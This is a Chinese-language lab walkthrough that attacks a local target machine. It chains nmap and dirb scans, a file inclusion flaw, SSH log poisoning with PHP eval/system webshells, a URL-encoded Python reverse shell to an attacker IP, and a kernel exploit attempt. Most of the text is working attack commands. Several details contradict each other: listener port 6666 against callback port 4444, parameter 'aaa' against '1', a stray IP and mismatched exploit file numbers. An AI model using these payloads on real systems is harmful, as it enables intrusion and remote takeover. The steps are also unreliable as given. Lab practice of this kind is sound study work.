修改网络模式为NAT
主机发现
arp-scan -l
端口扫描
nmap 192.168.48.147
nmap -sC -sV -O 192.168.48.147
-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测
端口利用
访问web服务
目录扫描
dirb http://192.168.48.147
访问
http://192.168.48.147/antibot_image/
查看info.php的页面源码
发现存在文件包含漏洞
利用文件包含漏洞
http://192.168.48.147/antibot_image/antibots/info.php?image=/etc/passwd
扫描全部端口
nmap -A 192.168.48.147 -p-
扫描出来2211端口,是ssh的连接端口
方法1:报错链接2211
ssh '<?php @eval($_POST["1"]);?>'@192.168.48.147 -p 2211
代码分析
这段代码是一个 SSH 命令。
它的目的是尝试通过 SSH 连接到 IP 地址为 192.168.47.140 的主机,端口号为 2211 ,并传递了一段 PHP 代码 <?php @eval($_POST["1"]);?> 。
然而,这段 PHP 代码存在严重的安全问题。@eval($_POST["1"]); 会无条件地执行通过 $_POST["1"] 传入的任何代码。这意味着如果攻击者能够控制传入 $_POST["1"] 的内容,他们就可以在服务器上执行任意恶意代码,从而导致服务器被入侵、数据泄露、服务被破坏等严重后果。
然后在网页端查看ubuntu报错信息:/var/log/auth.log
/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。
该目录下发现多了一些报错信息,大概率写入木马成功,
使用蚁剑连接
http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log
查看完整网站目录
打开虚拟终端
方法二:使用python3反弹shell
ssh '<?php echo system($_GET["1"]);?>'@192.168.48.147 -p 2211
代码分析
这段代码看起来是一个 SSH(Secure Shell)命令的尝试。然而,其中包含的 PHP 代码部分是存在严重安全风险的。
在 PHP 代码 <?php echo system($_GET["1"]);?>
中,它直接获取了通过 $_GET
传递的参数 1
并使用 system
函数来执行。这意味着任何人都可以通过在 URL 中提供特定的参数值来执行任意系统命令,这可能导致服务器被入侵、数据泄露、系统被破坏等严重后果。
例如,如果攻击者在 URL 中提供 rm -rf /
作为 1
的参数值,那么服务器上的根目录可能会被删除,造成无法挽回的损失。
下面命令执行成功,说明一句话木马写入成功
http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log&1=id
打开监听端口
nc -lnvp 6666
使用python3进行反弹shell,在浏览器中输入
http://192.168.48.147/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.48.131%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
import socket, subprocess, os
# 创建一个TCP/IP socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到指定IP和端口
s.connect(("192.168.48.131", 4444))
# 重新映射标准输入输出和错误到这个socket
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# 使用subprocess调用/bin/sh启动一个交互式shell
p = subprocess.call(["/bin/sh", "-i"])
kali监听到操作,成功获得靶机shell
生成可交互式的shell
python3 -c "import pty;pty.spawn('/bin/bash')"
提权(我提权失败,因为版本不匹配,不过可以一试)
查看系统内核版本:uname -a
在kali中查找该系统内核的提权包
searchsploit ubuntu 4.4.0-21
下载44298.c
searchsploit -p 43234.c
编译文件
gcc 45010.c -o exp
到tmp目录下下载提权POC
执行文件:./exp
执行失败尝试更新
ldd --version